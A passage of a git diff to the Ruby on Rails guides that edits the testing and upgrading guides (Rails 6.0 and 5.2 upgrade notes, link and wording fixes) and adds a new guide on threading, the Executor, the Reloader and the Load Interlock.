-$ bin/rails test test/controllers/articles_controller_test.rb -n test_should_create_article
+$ rails test test/controllers/articles_controller_test.rb -n test_should_create_article
Run options: -n test_should_create_article --seed 32266
# Running:
@@ -1130,7 +1262,7 @@ end
Now if we run our tests, we should see it pass:
```bash
-$ bin/rails test test/controllers/articles_controller_test.rb -n test_should_create_article
+$ rails test test/controllers/articles_controller_test.rb -n test_should_create_article
Run options: -n test_should_create_article --seed 18981
# Running:
@@ -1343,7 +1475,7 @@ Testing Helpers
---------------
A helper is just a simple module where you can define methods which are
-available into your views.
+available in your views.
In order to test helpers, all you need to do is check that the output of the
helper method matches what you'd expect. Tests related to the helpers are
@@ -1352,7 +1484,7 @@ located under the `test/helpers` directory.
Given we have the following helper:
```ruby
-module UserHelper
+module UsersHelper
def link_to_user(user)
link_to "#{user.first_name} #{user.last_name}", user
end
@@ -1362,7 +1494,7 @@ end
We can test the output of this method like this:
```ruby
-class UserHelperTest < ActionView::TestCase
+class UsersHelperTest < ActionView::TestCase
test "should return the user's full name" do
user = users(:david)
@@ -1401,7 +1533,7 @@ In order to test that your mailer is working as expected, you can use unit tests
For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output _should_ look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within `test/fixtures` directly corresponds to the name of the mailer. So, for a mailer named `UserMailer`, the fixtures should reside in `test/fixtures/user_mailer` directory.
-When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator, you'll have to create those files yourself.
+If you generated your mailer, the generator does not create stub fixtures for the mailers actions. You'll have to create those files yourself as described above.
#### The Basic Test Case
@@ -1435,6 +1567,10 @@ variable. We then ensure that it was sent (the first assert), then, in the
second batch of assertions, we ensure that the email does indeed contain what we
expect. The helper `read_fixture` is used to read in the content from this file.
+NOTE: `email.body.to_s` is present when there's only one (HTML or text) part present.
+If the mailer provides both, you can test your fixture against specific parts
+with `email.text_part.body.to_s` or `email.html_part.body.to_s`.
+
Here's the content of the `invite` fixture:
```
@@ -1459,12 +1595,12 @@ manually with: `ActionMailer::Base.deliveries.clear`
### Functional Testing
-Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job. You are probably more interested in whether your own business logic is sending emails when you expect them to go out. For example, you can check that the invite friend operation is sending an email appropriately:
+Functional testing for mailers involves more than just checking that the email body, recipients, and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job. You are probably more interested in whether your own business logic is sending emails when you expect them to go out. For example, you can check that the invite friend operation is sending an email appropriately:
```ruby
require 'test_helper'
-class UserControllerTest < ActionDispatch::IntegrationTest
+class UsersControllerTest < ActionDispatch::IntegrationTest
test "invite friend" do
assert_difference 'ActionMailer::Base.deliveries.size', +1 do
post invite_friend_url, params: { email: 'friend@example.com' }
@@ -1473,7 +1609,7 @@ class UserControllerTest < ActionDispatch::IntegrationTest
assert_equal "You have been invited by me@example.com", invite_email.subject
assert_equal 'friend@example.com', invite_email.to[0]
- assert_match(/Hi friend@example.com/, invite_email.body.to_s)
+ assert_match(/Hi friend@example\.com/, invite_email.body.to_s)
end
end
```
@@ -1482,7 +1618,7 @@ Testing Jobs
------------
Since your custom jobs can be queued at different levels inside your application,
-you'll need to test both, the jobs themselves (their behavior when they get enqueued)
+you'll need to test both the jobs themselves (their behavior when they get enqueued)
and that other entities correctly enqueue them.
### A Basic Test Case
@@ -1501,7 +1637,7 @@ class BillingJobTest < ActiveJob::TestCase
end
```
-This test is pretty simple and only asserts that the job get the work done
+This test is pretty simple and only asserts that the job got the work done
as expected.
By default, `ActiveJob::TestCase` will set the queue adapter to `:test` so that
diff --git a/guides/source/threading_and_code_execution.md b/guides/source/threading_and_code_execution.md
new file mode 100644
index 0000000000..d3a81fe6a8
--- /dev/null
+++ b/guides/source/threading_and_code_execution.md
@@ -0,0 +1,324 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
+
+Threading and Code Execution in Rails
+=====================================
+
+After reading this guide, you will know:
+
+* What code Rails will automatically execute concurrently
+* How to integrate manual concurrency with Rails internals
+* How to wrap all application code
+* How to affect application reloading
+
+--------------------------------------------------------------------------------
+
+Automatic Concurrency
+---------------------
+
+Rails automatically allows various operations to be performed at the same time.
+
+When using a threaded web server, such as the default Puma, multiple HTTP
+requests will be served simultaneously, with each request provided its own
+controller instance.
+
+Threaded Active Job adapters, including the built-in Async, will likewise
+execute several jobs at the same time. Action Cable channels are managed this
+way too.
+
+These mechanisms all involve multiple threads, each managing work for a unique
+instance of some object (controller, job, channel), while sharing the global
+process space (such as classes and their configurations, and global variables).
+As long as your code doesn't modify any of those shared things, it can mostly
+ignore that other threads exist.
+
+The rest of this guide describes the mechanisms Rails uses to make it "mostly
+ignorable", and how extensions and applications with special needs can use them.
+
+Executor
+--------
+
+The Rails Executor separates application code from framework code: any time the
+framework invokes code you've written in your application, it will be wrapped by
+the Executor.
+
+The Executor consists of two callbacks: `to_run` and `to_complete`. The Run
+callback is called before the application code, and the Complete callback is
+called after.
+
+### Default callbacks
+
+In a default Rails application, the Executor callbacks are used to:
+
+* track which threads are in safe positions for autoloading and reloading
+* enable and disable the Active Record query cache
+* return acquired Active Record connections to the pool
+* constrain internal cache lifetimes
+
+Prior to Rails 5.0, some of these were handled by separate Rack middleware
+classes (such as `ActiveRecord::ConnectionAdapters::ConnectionManagement`), or
+directly wrapping code with methods like
+`ActiveRecord::Base.connection_pool.with_connection`. The Executor replaces
+these with a single more abstract interface.
+
+### Wrapping application code
+
+If you're writing a library or component that will invoke application code, you
+should wrap it with a call to the executor:
+
+```ruby
+Rails.application.executor.wrap do
+ # call application code here
+end
+```
+
+TIP: If you repeatedly invoke application code from a long-running process, you
+may want to wrap using the Reloader instead.
+
+Each thread should be wrapped before it runs application code, so if your
+application manually delegates work to other threads, such as via `Thread.new`
+or Concurrent Ruby features that use thread pools, you should immediately wrap
+the block:
+
+```ruby
+Thread.new do
+ Rails.application.executor.wrap do
+ # your code here
+ end
+end
+```
+
+NOTE: Concurrent Ruby uses a `ThreadPoolExecutor`, which it sometimes configures
+with an `executor` option. Despite the name, it is unrelated.
+
+The Executor is safely re-entrant; if it is already active on the current
+thread, `wrap` is a no-op.
+
+If it's impractical to wrap the application code in a block (for
+example, the Rack API makes this problematic), you can also use the `run!` /
+`complete!` pair:
+
+```ruby
+Thread.new do
+ execution_context = Rails.application.executor.run!
+ # your code here
+ensure
+ execution_context.complete! if execution_context
+end
+```
+
+### Concurrency
+
+The Executor will put the current thread into `running` mode in the Load
+Interlock. This operation will block temporarily if another thread is currently
+either autoloading a constant or unloading/reloading the application.
+
+Reloader
+--------
+
+Like the Executor, the Reloader also wraps application code. If the Executor is
+not already active on the current thread, the Reloader will invoke it for you,
+so you only need to call one. This also guarantees that everything the Reloader
+does, including all its callback invocations, occurs wrapped inside the
+Executor.
+
+```ruby
+Rails.application.reloader.wrap do
+ # call application code here
+end
+```
+
+The Reloader is only suitable where a long-running framework-level process
+repeatedly calls into application code, such as for a web server or job queue.
+Rails automatically wraps web requests and Active Job workers, so you'll rarely
+need to invoke the Reloader for yourself. Always consider whether the Executor
+is a better fit for your use case.
+
+### Callbacks
+
+Before entering the wrapped block, the Reloader will check whether the running
+application needs to be reloaded -- for example, because a model's source file has
+been modified. If it determines a reload is required, it will wait until it's
+safe, and then do so, before continuing. When the application is configured to
+always reload regardless of whether any changes are detected, the reload is
+instead performed at the end of the block.
+
+The Reloader also provides `to_run` and `to_complete` callbacks; they are
+invoked at the same points as those of the Executor, but only when the current
+execution has initiated an application reload. When no reload is deemed
+necessary, the Reloader will invoke the wrapped block with no other callbacks.
+
+### Class Unload
+
+The most significant part of the reloading process is the Class Unload, where
+all autoloaded classes are removed, ready to be loaded again. This will occur
+immediately before either the Run or Complete callback, depending on the
+`reload_classes_only_on_change` setting.
+
+Often, additional reloading actions need to be performed either just before or
+just after the Class Unload, so the Reloader also provides `before_class_unload`
+and `after_class_unload` callbacks.
+
+### Concurrency
+
+Only long-running "top level" processes should invoke the Reloader, because if
+it determines a reload is needed, it will block until all other threads have
+completed any Executor invocations.
+
+If this were to occur in a "child" thread, with a waiting parent inside the
+Executor, it would cause an unavoidable deadlock: the reload must occur before
+the child thread is executed, but it cannot be safely performed while the parent
+thread is mid-execution. Child threads should use the Executor instead.
+
+Framework Behavior
+------------------
+
+The Rails framework components use these tools to manage their own concurrency
+needs too.
+
+`ActionDispatch::Executor` and `ActionDispatch::Reloader` are Rack middlewares
+that wraps the request with a supplied Executor or Reloader, respectively. They
+are automatically included in the default application stack. The Reloader will
+ensure any arriving HTTP request is served with a freshly-loaded copy of the
+application if any code changes have occurred.
+
+Active Job also wraps its job executions with the Reloader, loading the latest
+code to execute each job as it comes off the queue.
+
+Action Cable uses the Executor instead: because a Cable connection is linked to
+a specific instance of a class, it's not possible to reload for every arriving
+websocket message. Only the message handler is wrapped, though; a long-running
+Cable connection does not prevent a reload that's triggered by a new incoming
+request or job. Instead, Action Cable uses the Reloader's `before_class_unload`
+callback to disconnect all its connections. When the client automatically
+reconnects, it will be speaking to the new version of the code.
+
+The above are the entry points to the framework, so they are responsible for
+ensuring their respective threads are protected, and deciding whether a reload
+is necessary. Other components only need to use the Executor when they spawn
+additional threads.
+
+### Configuration
+
+The Reloader only checks for file changes when `cache_classes` is false and
+`reload_classes_only_on_change` is true (which is the default in the
+`development` environment).
+
+When `cache_classes` is true (in `production`, by default), the Reloader is only
+a pass-through to the Executor.
+
+The Executor always has important work to do, like database connection
+management. When `cache_classes` and `eager_load` are both true (`production`),
+no autoloading or class reloading will occur, so it does not need the Load
+Interlock. If either of those are false (`development`), then the Executor will
+use the Load Interlock to ensure constants are only loaded when it is safe.
+
+Load Interlock
+--------------
+
+The Load Interlock allows autoloading and reloading to be enabled in a
+multi-threaded runtime environment.
+
+When one thread is performing an autoload by evaluating the class definition
+from the appropriate file, it is important no other thread encounters a
+reference to the partially-defined constant.
+
+Similarly, it is only safe to perform an unload/reload when no application code
+is in mid-execution: after the reload, the `User` constant, for example, may
+point to a different class. Without this rule, a poorly-timed reload would mean
+`User.new.class == User`, or even `User == User`, could be false.
+
+Both of these constraints are addressed by the Load Interlock. It keeps track of
+which threads are currently running application code, loading a class, or
+unloading autoloaded constants.
+
+Only one thread may load or unload at a time, and to do either, it must wait
+until no other threads are running application code. If a thread is waiting to
+perform a load, it doesn't prevent other threads from loading (in fact, they'll
+cooperate, and each perform their queued load in turn, before all resuming
+running together).
+
+### `permit_concurrent_loads`
+
+The Executor automatically acquires a `running` lock for the duration of its
+block, and autoload knows when to upgrade to a `load` lock, and switch back to
+`running` again afterwards.
+
+Other blocking operations performed inside the Executor block (which includes
+all application code), however, can needlessly retain the `running` lock. If
+another thread encounters a constant it must autoload, this can cause a
+deadlock.
+
+For example, assuming `User` is not yet loaded, the following will deadlock:
+
+```ruby
+Rails.application.executor.wrap do
+ th = Thread.new do
+ Rails.application.executor.wrap do
+ User # inner thread waits here; it cannot load
+ # User while another thread is running
+ end
+ end
+
+ th.join # outer thread waits here, holding 'running' lock
+end
+```
+
+To prevent this deadlock, the outer thread can `permit_concurrent_loads`. By
+calling this method, the thread guarantees it will not dereference any
+possibly-autoloaded constant inside the supplied block. The safest way to meet
+that promise is to put it as close as possible to the blocking call:
+
+```ruby
+Rails.application.executor.wrap do
+ th = Thread.new do
+ Rails.application.executor.wrap do
+ User # inner thread can acquire the 'load' lock,
+ # load User, and continue
+ end
+ end
+
+ ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
+ th.join # outer thread waits here, but has no lock
+ end
+end
+```
+
+Another example, using Concurrent Ruby:
+
+```ruby
+Rails.application.executor.wrap do
+ futures = 3.times.collect do |i|
+ Concurrent::Future.execute do
+ Rails.application.executor.wrap do
+ # do work here
+ end
+ end
+ end
+
+ values = ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
+ futures.collect(&:value)
+ end
+end
+```
+
+
+### ActionDispatch::DebugLocks
+
+If your application is deadlocking and you think the Load Interlock may be
+involved, you can temporarily add the ActionDispatch::DebugLocks middleware to
+`config/application.rb`:
+
+```ruby
+config.middleware.insert_before Rack::Sendfile,
+ ActionDispatch::DebugLocks
+```
+
+If you then restart the application and re-trigger the deadlock condition,
+`/rails/locks` will show a summary of all threads currently known to the
+interlock, which lock level they are holding or awaiting, and their current
+backtrace.
+
+Generally a deadlock will be caused by the interlock conflicting with some other
+external lock or blocking I/O call. Once you find it, you can wrap it with
+`permit_concurrent_loads`.
+
diff --git a/guides/source/upgrading_ruby_on_rails.md b/guides/source/upgrading_ruby_on_rails.md
index 6005298127..befd4e08c0 100644
--- a/guides/source/upgrading_ruby_on_rails.md
+++ b/guides/source/upgrading_ruby_on_rails.md
@@ -1,7 +1,7 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
-A Guide for Upgrading Ruby on Rails
-===================================
+Upgrading Ruby on Rails
+=======================
This guide provides steps to be followed when you upgrade your applications to a newer version of Ruby on Rails. These steps are also available in individual release guides.
@@ -27,7 +27,7 @@ The process should go as follows:
3. Fix tests and deprecated features.
4. Move to the latest patch version of the next minor version.
-Repeat this process until you reach your target Rails version. Each time you move versions, you will need to change the Rails version number in the Gemfile (and possibly other gem versions) and run `bundle update`. Then run the Update task mentioned below to update configuration files, then run your tests.
+Repeat this process until you reach your target Rails version. Each time you move versions, you will need to change the Rails version number in the `Gemfile` (and possibly other gem versions) and run `bundle update`. Then run the Update task mentioned below to update configuration files, then run your tests.
You can find a list of all released Rails versions [here](https://rubygems.org/gems/rails/versions).
@@ -35,6 +35,7 @@ You can find a list of all released Rails versions [here](https://rubygems.org/g
Rails generally stays close to the latest released Ruby version when it's released:
+* Rails 6 requires Ruby 2.4.1 or newer.
* Rails 5 requires Ruby 2.2.2 or newer.
* Rails 4 prefers Ruby 2.0 and requires 1.9.3 or newer.
* Rails 3.2.x is the last branch to support Ruby 1.8.7.
@@ -44,8 +45,8 @@ TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterp
### The Update Task
-Rails provides the `app:update` task (`rake rails:update` on 4.2 and earlier). After updating the Rails version
-in the Gemfile, run this task.
+Rails provides the `app:update` command (`rake rails:update` on 4.2 and earlier). After updating the Rails version
+in the `Gemfile`, run this command.
This will help you with the creation of new files and changes of old files in an
interactive session.
@@ -65,6 +66,58 @@ Overwrite /myapp/config/application.rb? (enter "h" for help) [Ynaqdh]
Don't forget to review the difference, to see if there were any unexpected changes.
+### Configure Framework Defaults
+
+The new Rails version might have different configuration defaults than the previous version. However, after following the steps described above, your application would still run with configuration defaults from the *previous* Rails version. That's because the value for `config.load_defaults` in `config/application.rb` has not been changed yet.
+
+To allow you to upgrade to new defaults one by one, the update task has created a file `config/initializers/new_framework_defaults.rb`. Once your application is ready to run with new defaults, you can remove this file and flip the `config.load_defaults` value.
+
+
+Upgrading from Rails 5.2 to Rails 6.0
+-------------------------------------
+
+For more information on changes made to Rails 6.0 please see the [release notes](6_0_release_notes.html).
+
+### Force SSL
+
+The `force_ssl` method on controllers has been deprecated and will be removed in
+Rails 6.1. You are encouraged to enable `config.force_ssl` to enforce HTTPS
+connections throughout your application. If you need to exempt certain endpoints
+from redirection, you can use `config.ssl_options` to configure that behavior.
+
+### Purpose in signed or encrypted cookie is now embedded in the cookies values
+
+To improve security, Rails now embeds the purpose information in encrypted or signed cookies value.
+Rails can now thwart attacks that attempt to copy signed/encrypted value
+of a cookie and use it as the value of another cookie.
+
+This new embed information make those cookies incompatible with versions of Rails older than 6.0.
+
+If you require your cookies to be read by 5.2 and older, or you are still validating your 6.0 deploy and want
+to allow you to rollback set
+`Rails.application.config.action_dispatch.use_cookies_with_metadata` to `false`.
+
+Upgrading from Rails 5.1 to Rails 5.2
+-------------------------------------
+
+For more information on changes made to Rails 5.2 please see the [release notes](5_2_release_notes.html).
+
+### Bootsnap
+
+Rails 5.2 adds bootsnap gem in the [newly generated app's Gemfile](https://github.com/rails/rails/pull/29313).
+The `app:update` command sets it up in `boot.rb`. If you want to use it, then add it in the Gemfile,
+otherwise change the `boot.rb` to not use bootsnap.
+
+### Expiry in signed or encrypted cookie is now embedded in the cookies values
+
+To improve security, Rails now embeds the expiry information also in encrypted or signed cookies value.
+
+This new embed information make those cookies incompatible with versions of Rails older than 5.2.
+
+If you require your cookies to be read by 5.1 and older, or you are still validating your 5.2 deploy and want
+to allow you to rollback set
+`Rails.application.config.action_dispatch.use_authenticated_cookie_encryption` to `false`.
+
Upgrading from Rails 5.0 to Rails 5.1
-------------------------------------
@@ -72,17 +125,33 @@ For more information on changes made to Rails 5.1 please see the [release notes]
### Top-level `HashWithIndifferentAccess` is soft-deprecated
-If your application uses the the top-level `HashWithIndifferentAccess` class, you
-should slowly move your code to use the `ActiveSupport::HashWithIndifferentAccess`
-one.
+If your application uses the top-level `HashWithIndifferentAccess` class, you
+should slowly move your code to instead use `ActiveSupport::HashWithIndifferentAccess`.
It is only soft-deprecated, which means that your code will not break at the
-moment and no deprecation warning will be displayed but this constant will be
+moment and no deprecation warning will be displayed, but this constant will be
removed in the future.
-Also, if you have pretty old YAML documents containg dumps of such objects,
+Also, if you have pretty old YAML documents containing dumps of such objects,
you may need to load and dump them again to make sure that they reference
-the right constant and that loading them won't break in the future.
+the right constant, and that loading them won't break in the future.
+
+### `application.secrets` now loaded with all keys as symbols
+
+If your application stores nested configuration in `config/secrets.yml`, all keys
+are now loaded as symbols, so access using strings should be changed.
+
+From:
+
+```ruby
+Rails.application.secrets[:smtp_settings]["address"]
+```
+
+To:
+
+```ruby
+Rails.application.secrets[:smtp_settings][:address]
+```
Upgrading from Rails 4.2 to Rails 5.0
-------------------------------------
@@ -163,7 +232,7 @@ See [#19034](https://github.com/rails/rails/pull/19034) for more details.
`assigns` and `assert_template` have been extracted to the `rails-controller-testing` gem. To
continue using these methods in your controller tests, add `gem 'rails-controller-testing'` to
-your Gemfile.
+your `Gemfile`.
If you are using Rspec for testing, please see the extra configuration required in the gem's
documentation.
@@ -196,7 +265,7 @@ true.
`ActiveModel::Serializers::Xml` has been extracted from Rails to the `activemodel-serializers-xml`
gem. To continue using XML serialization in your application, add `gem 'activemodel-serializers-xml'`
-to your Gemfile.
+to your `Gemfile`.
### Removed Support for Legacy `mysql` Database Adapter
@@ -208,21 +277,23 @@ it.
`debugger` is not supported by Ruby 2.2 which is required by Rails 5. Use `byebug` instead.
-### Use bin/rails for running tasks and tests
+### Use `rails` for running tasks and tests
Rails 5 adds the ability to run tasks and tests through `bin/rails` instead of rake. Generally
-these changes are in parallel with rake, but some were ported over altogether.
+these changes are in parallel with rake, but some were ported over altogether. As the `rails`
+command already looks for and runs `bin/rails`, we recommend you to use the shorter `rails`
+over `bin/rails.
-To use the new test runner simply type `bin/rails test`.
+To use the new test runner simply type `rails test`.
`rake dev:cache` is now `rails dev:cache`.
-Run `bin/rails` to see the list of commands available.
+Run `rails` inside your application's directory to see the list of commands available.
### `ActionController::Parameters` No Longer Inherits from `HashWithIndifferentAccess`
Calling `params` in your application will now return an object instead of a hash. If your
-parameters are already permitted, then you will not need to make any changes. If you are using `slice`
+parameters are already permitted, then you will not need to make any changes. If you are using `map`
and other methods that depend on being able to read the hash regardless of `permitted?` you will
need to upgrade your application to first permit and then convert to a hash.
@@ -260,6 +331,16 @@ You can now just call the dependency once with a wildcard.
<% # Template Dependency: recordings/threads/events/* %>
```
+### `ActionView::Helpers::RecordTagHelper` moved to external gem (record_tag_helper)
+
+`content_tag_for` and `div_for` have been removed in favor of just using `content_tag`. To continue using the older methods, add the `record_tag_helper` gem to your `Gemfile`:
+
+```ruby
+gem 'record_tag_helper', '~> 1.0'
+```
+
+See [#18411](https://github.com/rails/rails/pull/18411) for more details.
+
### Removed Support for `protected_attributes` Gem
The `protected_attributes` gem is no longer supported in Rails 5.
@@ -371,16 +452,25 @@ When using Ruby 2.4, you can preserve the timezone of the receiver when calling
ActiveSupport.to_time_preserves_timezone = false
+### Changes with JSON/JSONB serialization
+
+In Rails 5.0, how JSON/JSONB attributes are serialized and deserialized changed. Now, if
+you set a column equal to a `String`, Active Record will no longer turn that string
+into a `Hash`, and will instead only return the string. This is not limited to code
+interacting with models, but also affects `:default` column settings in `db/schema.rb`.
+It is recommended that you do not set columns equal to a `String`, but pass a `Hash`
+instead, which will be converted to and from a JSON string automatically.
+
Upgrading from Rails 4.1 to Rails 4.2
-------------------------------------
### Web Console
-First, add `gem 'web-console', '~> 2.0'` to the `:development` group in your Gemfile and run `bundle install` (it won't have been included when you upgraded Rails). Once it's been installed, you can simply drop a reference to the console helper (i.e., `<%= console %>`) into any view you want to enable it for. A console will also be provided on any error page you view in your development environment.
+First, add `gem 'web-console', '~> 2.0'` to the `:development` group in your `Gemfile` and run `bundle install` (it won't have been included when you upgraded Rails). Once it's been installed, you can simply drop a reference to the console helper (i.e., `<%= console %>`) into any view you want to enable it for. A console will also be provided on any error page you view in your development environment.
### Responders
-`respond_with` and the class-level `respond_to` methods have been extracted to the `responders` gem. To use them, simply add `gem 'responders', '~> 2.0'` to your Gemfile. Calls to `respond_with` and `respond_to` (again, at the class level) will no longer work without having included the `responders` gem in your dependencies:
+`respond_with` and the class-level `respond_to` methods have been extracted to the `responders` gem. To use them, simply add `gem 'responders', '~> 2.0'` to your `Gemfile`. Calls to `respond_with` and `respond_to` (again, at the class level) will no longer work without having included the `responders` gem in your dependencies:
```ruby
# app/controllers/users_controller.rb
@@ -524,7 +614,7 @@ Read the [gem's readme](https://github.com/rails/rails-html-sanitizer) for more
The documentation for `PermitScrubber` and `TargetScrubber` explains how you
can gain complete control over when and how elements should be stripped.
-If your application needs to use the old sanitizer implementation, include `rails-deprecated_sanitizer` in your Gemfile:
+If your application needs to use the old sanitizer implementation, include `rails-deprecated_sanitizer` in your `Gemfile`:
```ruby
gem 'rails-deprecated_sanitizer'
@@ -532,7 +622,7 @@ gem 'rails-deprecated_sanitizer'
### Rails DOM Testing
-The [`TagAssertions` module](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/TagAssertions.html) (containing methods such as `assert_tag`), [has been deprecated](https://github.com/rails/rails/blob/6061472b8c310158a2a2e8e9a6b81a1aef6b60fe/actionpack/lib/action_dispatch/testing/assertions/dom.rb) in favor of the `assert_select` methods from the `SelectorAssertions` module, which has been extracted into the [rails-dom-testing gem](https://github.com/rails/rails-dom-testing).
+The [`TagAssertions` module](http://api.rubyonrails.org/v4.1/classes/ActionDispatch/Assertions/TagAssertions.html) (containing methods such as `assert_tag`), [has been deprecated](https://github.com/rails/rails/blob/6061472b8c310158a2a2e8e9a6b81a1aef6b60fe/actionpack/lib/action_dispatch/testing/assertions/dom.rb) in favor of the `assert_select` methods from the `SelectorAssertions` module, which has been extracted into the [rails-dom-testing gem](https://github.com/rails/rails-dom-testing).
### Masked Authenticity Tokens
@@ -582,7 +672,7 @@ migration DSL counterpart.
The migration procedure is as follows:
-1. remove `gem "foreigner"` from the Gemfile.
+1. remove `gem "foreigner"` from the `Gemfile`.
2. run `bundle install`.
3. run `bin/rake db:schema:dump`.
4. make sure that `db/schema.rb` contains every foreign key definition with
@@ -613,7 +703,7 @@ xhr :get, :index, format: :js
to explicitly test an `XmlHttpRequest`.
-Note: Your own `<script>` tags are treated as cross-origin and blocked by
+NOTE: Your own `<script>` tags are treated as cross-origin and blocked by
default, too. If you really mean to load JavaScript from `<script>` tags,
you must now explicitly skip CSRF protection on those actions.
@@ -734,7 +824,7 @@ and has been removed from Rails.
If your application currently depends on MultiJSON directly, you have a few options:
-1. Add 'multi_json' to your Gemfile. Note that this might cease to work in the future
+1. Add 'multi_json' to your `Gemfile`. Note that this might cease to work in the future
2. Migrate away from MultiJSON by using `obj.to_json`, and `JSON.parse(str)` instead.
@@ -775,7 +865,7 @@ part of the rewrite, the following features have been removed from the encoder:
If your application depends on one of these features, you can get them back by
adding the [`activesupport-json_encoder`](https://github.com/rails/activesupport-json_encoder)
-gem to your Gemfile.
+gem to your `Gemfile`.
#### JSON representation of Time objects
@@ -1064,14 +1154,14 @@ being used, you can update your form to use the `PUT` method instead:
<%= form_for [ :update_name, @user ], method: :put do |f| %>
```
-For more on PATCH and why this change was made, see [this post](http://weblog.rubyonrails.org/2012/2/26/edge-rails-patch-is-the-new-primary-http-method-for-updates/)
+For more on PATCH and why this change was made, see [this post](https://weblog.rubyonrails.org/2012/2/26/edge-rails-patch-is-the-new-primary-http-method-for-updates/)
on the Rails blog.
#### A note about media types
The errata for the `PATCH` verb [specifies that a 'diff' media type should be
used with `PATCH`](http://www.rfc-editor.org/errata_search.php?rfc=5789). One
-such format is [JSON Patch](http://tools.ietf.org/html/rfc6902). While Rails
+such format is [JSON Patch](https://tools.ietf.org/html/rfc6902). While Rails
does not support JSON Patch natively, it's easy enough to add support:
```
@@ -1100,8 +1190,8 @@ full support for the last few changes in the specification.
### Gemfile
-Rails 4.0 removed the `assets` group from Gemfile. You'd need to remove that
-line from your Gemfile when upgrading. You should also update your application
+Rails 4.0 removed the `assets` group from `Gemfile`. You'd need to remove that
+line from your `Gemfile` when upgrading. You should also update your application
file (in `config/application.rb`):
```ruby
@@ -1112,7 +1202,7 @@ Bundler.require(*Rails.groups)
### vendor/plugins
-Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must replace any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
+Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must replace any plugins by extracting them to gems and adding them to your `Gemfile`. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
### Active Record
@@ -1179,7 +1269,7 @@ end
### Active Resource
-Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the [Active Resource gem](https://github.com/rails/activeresource) in your Gemfile.
+Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the [Active Resource gem](https://github.com/rails/activeresource) in your `Gemfile`.
### Active Model
@@ -1275,7 +1365,7 @@ get 'こんにちは', controller: 'welcome', action: 'index'
get '/' => 'root#index'
```
-* Rails 4.0 has removed `ActionDispatch::BestStandardsSupport` middleware, `<!DOCTYPE html>` already triggers standards mode per http://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx and ChromeFrame header has been moved to `config.action_dispatch.default_headers`.
+* Rails 4.0 has removed `ActionDispatch::BestStandardsSupport` middleware, `<!DOCTYPE html>` already triggers standards mode per https://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx and ChromeFrame header has been moved to `config.action_dispatch.default_headers`.
Remember you must also remove any references to the middleware from your application code, for example:
@@ -1286,6 +1376,17 @@ config.middleware.insert_before(Rack::Lock, ActionDispatch::BestStandardsSupport
Also check your environment settings for `config.action_dispatch.best_standards_support` and remove it if present.
+* Rails 4.0 allows configuration of HTTP headers by setting `config.action_dispatch.default_headers`. The defaults are as follows:
+
+```ruby
+ config.action_dispatch.default_headers = {
+ 'X-Frame-Options' => 'SAMEORIGIN',
+ 'X-XSS-Protection' => '1; mode=block'
+ }
+```
+
+Please note that if your application is dependent on loading certain pages in a `<frame>` or `<iframe>`, then you may need to explicitly set `X-Frame-Options` to `ALLOW-FROM ...` or `ALLOWALL`.
+
* In Rails 4.0, precompiling assets no longer automatically copies non-JS/CSS assets from `vendor/assets` and `lib/assets`. Rails application and engine developers should put these assets in `app/assets` or configure `config.assets.precompile`.
* In Rails 4.0, `ActionController::UnknownFormat` is raised when the action doesn't handle the request format. By default, the exception is handled by responding with 406 Not Acceptable, but you can override that now. In Rails 3, 406 Not Acceptable was always returned. No overrides.
@@ -1309,7 +1410,7 @@ Rails 4.0 removes the `j` alias for `ERB::Util#json_escape` since `j` is already
#### Cache
-The caching method changed between Rails 3.x and 4.0. You should [change the cache namespace](http://guides.rubyonrails.org/caching_with_rails.html#activesupport-cache-store) and roll out with a cold cache.
+The caching method changed between Rails 3.x and 4.0. You should [change the cache namespace](https://guides.rubyonrails.org/caching_with_rails.html#activesupport-cache-store) and roll out with a cold cache.
### Helpers Loading Order
@@ -1379,7 +1480,7 @@ config.active_record.mass_assignment_sanitizer = :strict
### vendor/plugins
-Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
+Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your `Gemfile`. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
### Active Record
diff --git a/guides/source/working_with_javascript_in_rails.md b/guides/source/working_with_javascript_in_rails.md
index c1dfcab6f3..36f5039883 100644
--- a/guides/source/working_with_javascript_in_rails.md
+++ b/guides/source/working_with_javascript_in_rails.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
